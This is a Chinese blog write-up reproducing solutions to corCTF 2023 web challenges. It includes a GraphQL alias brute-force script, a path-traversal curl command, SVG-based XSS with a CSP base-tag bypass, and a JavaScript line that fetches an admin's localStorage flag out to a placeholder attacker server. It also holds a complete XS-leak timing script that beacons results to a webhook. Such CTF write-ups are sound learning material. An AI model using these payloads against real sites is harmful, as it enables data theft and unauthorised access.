前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >corCTF2023 复现

corCTF2023 复现

作者头像
ph0ebus
发布2023-08-09 19:50:53
5600
发布2023-08-09 19:50:53
举报

force | 118 solves / 124 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot

代码语言:javascript
复制
import fastify from 'fastify'
import mercurius from 'mercurius'
import { randomInt } from 'crypto'
import { readFile } from 'fs/promises'

const app = fastify({
    logger: true
});
const index = await readFile('./index.html', 'utf-8');

const secret = randomInt(0, 10 ** 5); // 1 in a 100k??

let requests = 10;

setInterval(() => requests = 10, 60000);

await app.register(mercurius, {
    schema: `type Query {
        flag(pin: Int): String
    }`,
    resolvers: {
        Query: {
            flag: (_, { pin }) => {
                if (pin != secret) {
                    return 'Wrong!';
                }
                return process.env.FLAG || 'corctf{test}';
            }
        }
    },
    routes: false
});

app.get('/', (req, res) => {
    return res.header('Content-Type', 'text/html').send(index);
});

app.post('/', async (req, res) => {
    if (requests <= 0) {
        return res.send('no u')
    }
    requests --;
    return res.graphql(req.body);
});

app.listen({ host: '0.0.0.0', port: 80 });

简单审计一下,发现就是获取PIN值,但PIN值是随机生成的,无法预测。

而且蛮力爆破也不可行,setInterval(() => requests = 10, 60000);使用 setInterval 函数,每隔 60000 毫秒(即每分钟)将 requests 的值重置为 10,也就是每分钟可以处理的请求数量。

那怎么办呢,那就从GraphQL下手吧,既然不能产生大量请求,那能不能一个请求包含很多很多查询呢?

答案是可以的,GraphQL允许使用别名编写相同类型的多个查询

那么就可以一次请求10^4个查询,这样就能满足60秒最多10次查询的限制了

代码语言:javascript
复制
import requests

url = 'https://web-force-force-ec1d52a6037008bc.be.ax/'

for j in range(10):
    payload = "{"
    for i in range(10000):
        x = j * 10000 + i
        payload += f"x{x}:flag(pin:{x}),"
    payload += "}"
    print(requests.post(url, data=payload, headers={'Content-Type':'text/plain;charset=UTF-8'}).text)

msfrognymize | 64 solves / 147 points

At CoR we care greatly about privacy (especially FizzBuzz). For this reason we anonymize any selfies before sharing them on Discord. We even encrypt the metadata using a special key!

代码语言:javascript
复制
import os
import piexif
import tempfile
import uuid

from PIL import Image, ExifTags
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, hmac
from flask import Flask, request, send_file, render_template
from urllib.parse import unquote
from werkzeug.utils import secure_filename

from celery_config import celery_app
from tasks import process_image

app = Flask(__name__)

celery_app.conf.update(app.config)

UPLOAD_FOLDER = 'uploads/'
ENCRYPTION_KEY = open("/flag.txt", "rb").readline()


def hmac_sha256(data):
    h = hmac.HMAC(ENCRYPTION_KEY, hashes.SHA256(), backend=default_backend())
    h.update(data)
    return h.finalize().hex()


def encrypt_exif_data(exif_data):
    new_exif_data = {}
    for tag, value in exif_data.items():
        if tag in ExifTags.TAGS:
            tag_name = ExifTags.TAGS[tag]
            if tag_name == "Orientation":
                new_exif_data[tag] = 1
            else:
                new_exif_data[tag] = value
        else:
            new_exif_data[tag] = hmac_sha256(value)
    return new_exif_data


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files['file']
        if file:
            try:
                img = Image.open(file)
                if img.format != "JPEG":
                    return "Please upload a valid JPEG image.", 400

                exif_data = img._getexif()
                encrypted_exif = None
                if exif_data:
                    encrypted_exif = piexif.dump(encrypt_exif_data(exif_data))
                filename = secure_filename(file.filename)
                temp_path = os.path.join(tempfile.gettempdir(), filename)
                img.save(temp_path)

                unique_id = str(uuid.uuid4())
                new_file_path = os.path.join(UPLOAD_FOLDER, f"{unique_id}.png")
                process_image.apply_async(args=[temp_path, new_file_path, encrypted_exif])

                return render_template("processing.html", image_url=f"/anonymized/{unique_id}.png")

            except Exception as e:
                return f"Error: {e}", 400

    return render_template("index.html")


@app.route('/anonymized/<image_file>')
def serve_image(image_file):
    file_path = os.path.join(UPLOAD_FOLDER, unquote(image_file))
    if ".." in file_path or not os.path.exists(file_path):
        return f"Image {file_path} cannot be found.", 404
    return send_file(file_path, mimetype='image/png')


if __name__ == '__main__':
    app.run()

/anonymized/<image_file>路由的os.path.join()函数存在绝对路径拼接漏洞,类似于[NISACTF 2022]babyupload

绝对路径拼接漏洞 os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

因此image_file经url解码后为/flag.txt时,uploads/与其路径拼接,那么uploads/ 将被删除,读取到的就是根目录下的 flag.txt 文件。

代码语言:javascript
复制
curl https://msfrognymize.be.ax/anonymized/%252fflag.txt

frogshare | 33 solves / 193 points

Welcome to Frogshare, the hoppiest place to share your beloved amphibians with fellow frog fanatics! But hold on to your lily pads, our admin reviews your content before its published… Please inform our admin once you shared a frog: Admin Bot

首先有一个注册登录界面,然后可以发布自己的共享青蛙,既然给了Admin Bot,那想必是客户端漏洞了

先看看共享青蛙是如何被渲染的叭

代码语言:javascript
复制
// Frog.js
import { useMemo, memo } from "react";
import "external-svg-loader";
import { Tooltip } from "react-tooltip";
import useIsMounted from "@/hooks/useIsMounted";

const Frog = memo(({ frog }) => {
    const { isMounted } = useIsMounted();

    const { name, img, creator } = frog;

    const svgProps = useMemo(() => {
        try {
            return JSON.parse(frog.svgProps);
        } catch {
            return null;
        }
    }, [frog.svgProps]);

    if (!isMounted) return null;
    return (
        <>
            <div
                className="flex flex-col bg-white p-8 rounded-xl shadow-md text-center h-[169px] w-[169px] mr-4 mb-4 relative"
                data-tooltip-id="frog-tooltip"
                data-tooltip-content={`By ${creator}`}
            >
                <div className="flex justify-center w-full h-[64px]">
                    <svg data-src={img} {...svgProps} />
                </div>
                <div className="text-lg">{name}</div>
            </div>
            <Tooltip id="frog-tooltip" />
        </>
    );
});

Frog.displayName = "Frog";

export default Frog;

这里会使用external-svg-loader将来自外部源的 SVG使用 <img>标签呈现,svg文件可控会不会存在XSS的可能呢

Note: Because SVG Loader fetches file using XHRs, it’s limited by CORS policies of the browser. So you need to ensure that correct Access-Control-Allow-Origin headers are sent with the file being served or that the files are hosted on your own domain. 注意:由于 SVG 加载程序使用 XHR 获取文件,因此它受到浏览器的 CORS 策略的限制。因此,您需要确保随要提供的文件一起发送正确的 Access-Control-Allow-Origin 标头,或者文件托管在您自己的域中

CORS需要后端应用进行配置,因此,这是一种后端跨域的配置方式,这种方式很容易理解,一个陌生的请求来访问你的服务器,自然需要进行授权。为了解决CORS问题,这里不能简单的用python -m http.server 8080托管可控 svg 文件,而可以通过 flask 的 flask-cors 解决跨域问题

代码语言:javascript
复制
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)
# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
    svgPayloadFile = 'payload.svg'
    return send_file(svgPayloadFile)

if __name__ == '__main__':
    app.run(port=80, debug=True)

继续,那么什么样的 svg 文件才能包含并执行恶意 javascript 代码呢,这里可以参考PayloadsAllTheThings

代码语言:javascript
复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
代码语言:javascript
复制
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

但在 external-svg-loader 的官方文档中指出

SVG format supports scripting. However, for security reasons, svg-loader will strip all JS code before injecting the SVG file. You can enable it by: SVG 格式支持脚本。但是,出于安全原因,svg-loader 将在注入 SVG 文件之前剥离所有 JS 代码。

因此第一个和第二个 payload 都无法使用,然而第二个payload里面有个有趣的东西<foreignObject></foreignObject>

<foreignObject> SVG 元素包含来自不同 XML 命名空间的元素。”。 这意味着 SVG 可以从其他命名空间加载附加标签(当然浏览器必须支持该命名空间)。 因此,可以通过 XHTML 命名空间在 SVG 中加载 HTML 标签。 通过指定 XHTML 命名空间,iframe 标记及其 srcdoc 属性再次可用。 现在,这允许在 iframe srcdoc 属性内包含一个脚本标签,该属性通过 data: 协议加载脚本。 由于通过 SVG use 标签加载的 SVG 文档被视为同源,尽管正在使用 data: 协议处理程序,但 iframe 及其 srcdoc 文档也被视为同源。

代码语言:javascript
复制
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"  width="1000" height="1000">
  <foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml" 
srcdoc="&lt;script
 src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'
&gt;&lt;/script&gt;" /></foreignObject></svg>

该解决方案仅适用于Firefox,因为Google Chrome在SVG使用标签的上下文中不支持foreignObject标签。

Note: By default, external-svg-loader will cache the fetched files for 30 days. To refresh the cache, we can provide any GET parameter. 注意:默认情况下,外部 svg 加载器会将获取的文件缓存 30 天。要刷新缓存,我们可以提供任何 GET 参数。

这样还不完整,因为该程序中还存在 CSP (内容安全策略),我们需要绕过 CSP 来执行恶意 js 代码

在自己的共享青蛙页面Ctrl+U查看源码即可发现

代码语言:javascript
复制
<meta http-equiv="Content-Security-Policy" content="script-src &#x27;strict-dynamic&#x27; &#x27;sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8=&#x27;  &#x27;unsafe-inline&#x27; http: https:;" slug="/"/>

也就是

代码语言:javascript
复制
<meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8='  'unsafe-inline' http: https:;" slug="/"/>

将CSP内容复制到CSP Evaluator里面,就可以获得两个高危发现

object-src

  • Missing object-src allows the injection of plugins which can execute JavaScript. Can you set it to ‘none’?

base-uri

  • Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

这里就可以滥用base-uri来执行Dangling Markup - HTML scriptless injection

此外,如果页面使用相对路径(如 /js/app.js )加载脚本,则可以滥用基本标记使其从您自己的服务器加载脚本,从而实现XSS。 如果易受攻击的页面加载了 httpS,请在基中使用 httpS URL。

代码语言:javascript
复制
<base href="https://www.attacker.com/">

在自己的共享青蛙页面F12查看元素可以发现导入了/_next/static/chunks/pages/index-3228b8a1fcea6589.js,所以我们可以通过 SVG 注入一个 <base> 标签,并让这个 JavaScript 文件从我们可控的 Web 服务器导入,有点类似dll劫持了

代码语言:javascript
复制
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)

# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
    svgPayloadFile = 'payload.svg'
    return send_file(svgPayloadFile)

@app.route('/_next/static/chunks/pages/index-3228b8a1fcea6589.js')
def abuseBaseSrc():
    javaScriptFile = 'payload.js'
    return send_file(javaScriptFile)

if __name__ == '__main__':
    app.run(port=80, debug=True)

在 adminbot.js 里面可以看到flag的位置

代码语言:javascript
复制
import secrets from './secrets';

const username = "admin";
const { flag, password } = secrets;

export default {
    id: 'frogshare',
    name: 'frogshare',
    timeout: 20000,
    handler: async (url, ctx) => {
        const page = await ctx.newPage();
        await page.goto("https://frogshare.be.ax/login", { waitUntil: 'load' });

        await page.evaluate((flag) => {
            localStorage.setItem("flag", flag);
        }, flag);

        await page.type("input[name=username]", username);
        await page.type("input[name=password]", password);
        await Promise.all([
            page.waitForNavigation(),
            page.click("input[type=submit]")
        ]);
        /* No idea why the f this is required :| */
        await page.goto("https://frogshare.be.ax/frogs?wtf=nextjs", { timeout: 5000, waitUntil: 'networkidle0' });
        await page.waitForTimeout(2000);
        await page.goto(url, { timeout: 5000, waitUntil: 'networkidle0' });
        await page.waitForTimeout(5000);
    },
}

那么 payload.js 内容为fetch('https://<your_server>/flag?c='+localStorage.getItem('flag'));

但共享青蛙页面必须刷新才能触发 JavaScript 执行,于是需要修改恶意 svg 内容,两秒后会重定向到指定恶意页面

代码语言:javascript
复制
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

  <foreignObject>
    <base href="https://www.attacker.com">
    <meta http-equiv="refresh" content="2;url=https://frogshare.be.ax/frogs/59">
  </foreignObject>
</svg>

修改共享青蛙 svg 为我们恶意服务器即可从服务器日志中获取到corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}

参考链接:https://siunam321.github.io/ctf/corCTF-2023/web/frogshare/

crabspace | 4 solves / 436 points

Now that Twitter is 🦀 gone 🦀, it’s time for a new social media platform. 🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀

待完善…

leakynote | 3 solves / 458 points

Yet another note taking application… HINT: the flag format for this chall is corctf{[a-z]+}

下载源码后在 nginx.conf 配置文件中找到 CSP 策略的配置

代码语言:javascript
复制
add_header Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";

查阅官方文档

Adds the specified field to a response header provided that the response code equals 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13), or 308 (1.13.0). The value can contain variables. There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level. If the always parameter is specified (1.7.5), the header field will be added regardless of the response code.

也就是说只有响应码为200,201等时add_header 指令才生效,只有设置了always参数,则无论响应代码如何,都会添加标头字段。

而在 search.php 中有这段代码

代码语言:javascript
复制
if (isset($_GET["query"]) && is_string($_GET["query"])) {
    $stmt = $db->prepare("SELECT * FROM posts WHERE username=? AND contents LIKE ?");
    $stmt->execute([$_SESSION["user"], "%" . $_GET["query"] . "%"]);
    $posts = $stmt->fetchAll();

    if (count($posts) == 0) {
        http_response_code(404);
    }
}

由于add_header没有设置always参数,因此如果 count(posts) != 0 => 200 状态 => 则启用 CSP,如果 count(

在 db.php 中可以找到 flag 的位置

代码语言:javascript
复制
if (!$user) {
    // initialize admin user
    $admin_password = getenv("ADMIN_PASSWORD") ?: "admin_password";
    $hash = password_hash($admin_password, PASSWORD_BCRYPT);
    $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
    $stmt->execute(["admin", $hash]);
    // initialize flag post
    $stmt = $db->prepare("INSERT INTO posts (username, id, title, contents) VALUES (?, ?, ?, ?)");
    $stmt->execute(["admin", bin2hex(random_bytes(8)), "flag", getenv("FLAG") ?: "corctf{test_flag}"]);
}

也就是 flag 在 admin 用户 post 的标题为 flag 的 content 中,但我们不知道 admin 用户的密码,对数据库操作都做了预处理防范 SQL 注入,那么就只能让 admin 用户透露给我们信息了,这里也就是adminbot,所以需要找到 XSS 的控制点。

在所有的页面都会加载以下 CSS 文件,包括iframe加载的页面

代码语言:javascript
复制
<link rel="stylesheet" href="/assets/normalize.css" />
<link rel="stylesheet" href="/assets/milligram.css" />

在 post.php 中,content 内容没有经过htmlspecialchars()转义为HTML实体,输入的内容将原封不动输出到页面中,只是因为CSP的存在无法加载 js 代码

代码语言:javascript
复制
<div class="container">
    <h1>leakynote</h1>
    <hr />
    <h3><?php echo htmlspecialchars($post["title"]) ?></h3>
    <div id="contents"><?php echo $post["contents"]; ?></div>
    <hr />
    <a href="/">Back</a>
</div>

这样,如果管理员机器人打开以下帖子:

代码语言:javascript
复制
<iframe src="/search.php?query=corctf{a">

如果 flag 包含 corctf{a =>则 iframe 被 CSP 阻止 => 则在打开页面后不会加载 CSS 文件。如果 flag 不包含 corctf{a =>则 iframe 不会被 CSP 阻止 =>则在打开页面后加载 CSS 文件。加载CSS文件和不加载花费的时间肯定时不一样的,如果打开许多的帖子页面,那么这种差异性就会更明显,从而可以泄露出flag内容。

实际操作过程如下:

首先批量创建恶意帖子

代码语言:javascript
复制
# filename: make_posts.py
# usage: python make_posts.py <prefix>
# example: python make_posts.py "corctf{leakrgo"

import httpx
import string
import random
import sys
import re

BASE_URL = "https://leakynote.be.ax"
CHARS = "}abcdefghijklmnopqrstuvwxyz"

prefix = sys.argv[1]
print(f"{prefix = }")

username = "".join(random.choices(string.ascii_letters, k=8))
password = "".join(random.choices(string.ascii_letters, k=8))

client = httpx.Client()

res = client.post(
    f"{BASE_URL}/register.php",
    data={
        "name": username,
        "pass": password,
    },
)
assert res.status_code == 302

for c in CHARS:
    query = "".join([f"&#{ord(x)};" for x in (prefix + c)[-6:]])
    contents = f'<iframe src="/search.php?query={query}">'
    assert len(contents) <= 100
    res = client.post(
        BASE_URL,
        data={
            "title": "a",
            "contents": contents,
        },
    )
    assert res.status_code == 200

res = client.get(BASE_URL)
ids = re.findall(r"<a href='/post\.php\?id=([0-9a-f]+)'>", res.text)
print(f"const TARGET_IDS = {ids};")

然后让 adminbot 请求这些帖子,并记录加载时间,这里就得通过可控服务器上用 js 记录,将结果发送到指定服务器

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<body>
  <script src="main.js"></script>
</body>
</html>
代码语言:javascript
复制
const BASE_URL = "https://leakynote.be.ax";

const HOOK_URL = "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx";

const RESOURCE_URLS = [
  `${BASE_URL}/assets/normalize.css`,
  `${BASE_URL}/assets/milligram.css`,
];

const CHARS = "}abcdefghijklmnopqrstuvwxyz";
const TARGET_IDS = [
  "054df3428619e625",
  "65cc5405dc8564fe",
  "1b7d45634e27c873",
  "e29642c2832547df",
  "2d2d3cde1c8d7364",
  "3a698bdc7a5f3211",
  "2211714f4295a0d4",
  "b2731895c908a7ea",
  "ef351ad9299d2549",
  "25afaf7e395a0fbc",
  "88793de3d0858540",
  "f771b89bca721df6",
  "36e96ab2f0cb2d80",
  "66c3dc231da04d05",
  "9074846e39521d35",
  "170a2b9ab4640814",
  "86f4efd489ad6a03",
  "f6ee33af12dc5326",
  "b2b1e00655eccc83",
  "f305085f9fc390e7",
  "e40fbeb6bf596a8a",
  "6f86900c87d72a81",
  "55a5a41d390df24b",
  "c8e4b6abf8f818d4",
  "3f95bf8920a5fe33",
  "3d5d90d50f382a76",
  "08db4102b0147e35",
];
const START_I = 0;

const TRY_NUM = 3;
const WIN_NUM = 10;

const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

const wait = (w) =>
  new Promise(async (resolve) => {
    while (true) {
      try {
        w.document;
      } catch {
        resolve();
        break;
      }
      await sleep(30);
    }
  });

const measureOne = async (url) => {
  const firstW = open(url);
  await wait(firstW);

  const ws = [];
  for (let i = 0; i < WIN_NUM; i++) {
    ws.push(open(url));
  }
  await Promise.all(ws.map((w) => wait(w)));

  let start = performance.now();
  await Promise.all(
    RESOURCE_URLS.map((u) =>
      fetch(u, {
        mode: "no-cors",
      })
    )
  );
  const end = performance.now();

  for (const w of ws) {
    w.close();
  }
  firstW.close();

  return end - start;
};

const measure = async (url) => {
  let avg = 0;
  for (let i = 0; i < TRY_NUM; i++) {
    const t = await measureOne(url);
    avg += t;
  }
  avg /= TRY_NUM;
  return avg;
};

const leakOne = async (id) => {
  const url = `${BASE_URL}/post.php?id=${id}`;
  return await measure(url);
};

const leak = async () => {
  await leakOne(TARGET_IDS[0]);
  await sleep(1500);

  let minT = 100000000;
  let minC;
  for (let i = START_I; i < CHARS.length; i++) {
    const c = CHARS[i];
    const t = await leakOne(TARGET_IDS[i]);
    if (t < minT) {
      minT = t;
      minC = c;
    }
    navigator.sendBeacon(
      HOOK_URL,
      JSON.stringify({ START_I, i, c, t, minC, minT })
    );
    await sleep(1500);
  }
  return minC;
};

const main = async () => {
  const nextC = await leak();
  navigator.sendBeacon(HOOK_URL + "/leak", nextC);
};
main();

i, c, t, minC, 和 minT 是用于跟踪和记录泄漏数据过程中的相关信息:

  • i: 是一个整数,表示迭代过程中的当前字符在 CHARS 字符串中的索引。
  • c: 是一个字符,表示当前迭代的字符。
  • t: 是一个数字,表示泄漏数据的过程中,从服务器获取资源所花费的时间(以毫秒为单位)。
  • minC: 是一个字符,表示迄今为止泄漏数据过程中,获取资源时间最短的字符。
  • minT: 是一个数字,表示迄今为止泄漏数据过程中,获取资源时间最短的时间(以毫秒为单位)。

这些变量主要用于在迭代过程中记录并比较不同字符的资源获取时间,从而找到资源获取时间最短的字符。然后,这些信息被封装为一个 JSON 对象,并通过 navigator.sendBeacon 方法发送到指定的 Webhook URL,用于进一步处理或记录。

代码语言:javascript
复制
{"START_I":0,"i":9,"c":"i","t":301.433333337307,"minC":"d","minT":138.63333334525427}

这里用时最少的就是字符d,因此corctf{leakrgo的下一位就是字符d,以此类推

最终得到corctf{leakrgod}

参考链接:https://gist.github.com/arkark/3afdc92d959dfc11c674db5a00d94c09

本文采用CC-BY-SA-3.0协议,转载请注明出处 Author: ph0ebus

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • force | 118 solves / 124 points
  • msfrognymize | 64 solves / 147 points
  • frogshare | 33 solves / 193 points
  • leakynote | 3 solves / 458 points
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档